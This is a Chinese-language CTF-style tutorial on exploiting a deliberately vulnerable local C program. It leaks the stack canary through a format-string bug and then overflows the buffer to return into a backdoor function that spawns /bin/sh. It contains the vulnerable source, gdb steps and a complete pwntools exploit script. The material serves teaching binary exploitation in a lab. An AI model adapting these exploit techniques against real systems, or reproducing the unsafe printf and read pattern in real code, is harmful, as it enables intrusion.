PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell
测试源码:
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}
编译,开启 canary 保护,关闭 pie 保护:
gcc -no-pie -fstack-protector-all -m32 canary.c -o canary
检查确认一下:
checksec canary
gdb 动调,看一下 func 函数:
disass func
写入 canary 的位置:
0x08048540 <+18>: mov eax,gs:0x14
0x08048546 <+24>: mov DWORD PTR [ebp-0xc],eax
我们需要利用 printf 函数泄露 canary 地址,先在 printf 函数处下断点:
b *0x08048565
然后运行,期间会经过第一个 read 函数,随便输入:RRR
查看当前栈内容:
stack 0x20
根据前面的代码,我们知道 canary 在 ebp-0xc 位置,使用 p 和 x 命令看一下:
p $ebp-0xc
x $ebp-0xc
p 只显示了地址,x 还显示了地址处的内容
canary 所在地址为 0xffffcffc,内容为 0xe8ac1700
我们在栈上面找一下 0xe8ac1700
距离栈顶偏移值为 15
下面我们重新运行了一下,来到输入位置,利用格式化字符串漏洞,输入:
%15$p
重新运行 canary 值会变:现在是 0x37133900
继续往下走,可以发现打印出的值就是 canary 的值
再看一下 canary 距离我们输入字符串的距离,偏移是 8
这部分后面需要填充为垃圾数据
先写个 exp 泄露 canary:
from pwn import *
io = process('./canary')
io.sendline('%15$p') # 发送泄露 canary 的内容,也就是前面的 %15$p
canary = io.recv() #接收 canary 值
print(canary) #打印canary
但是测试发现,输出结果多了一个换行符
使用 python 切片处理一下:
from pwn import *
io = process('./canary')
io.sendline('%15$p')
canary = io.recv()[:10]
print(canary)
没有问题
接下来我们看一下 canary 到 main 函数的返回地址的偏移:
偏移是 3
最后再看一下返回地址,也就是我们后门函数 exploit 的地址:
disass exploit
0x080484e6
完整 exp:
from pwn import *
io = process('./canary')
io.sendline('%15$p')
canary = io.recv()[:10]
canary = int(canary,16)
print(canary)
canary_offset = 8*4
ret_offset = 3*4
exp_addr = 0x080484e6
payload = b'a'*canary_offset + p32(canary) + b'a'*ret_offset + p32(exp_addr)
io.sendline(payload)
io.interactive()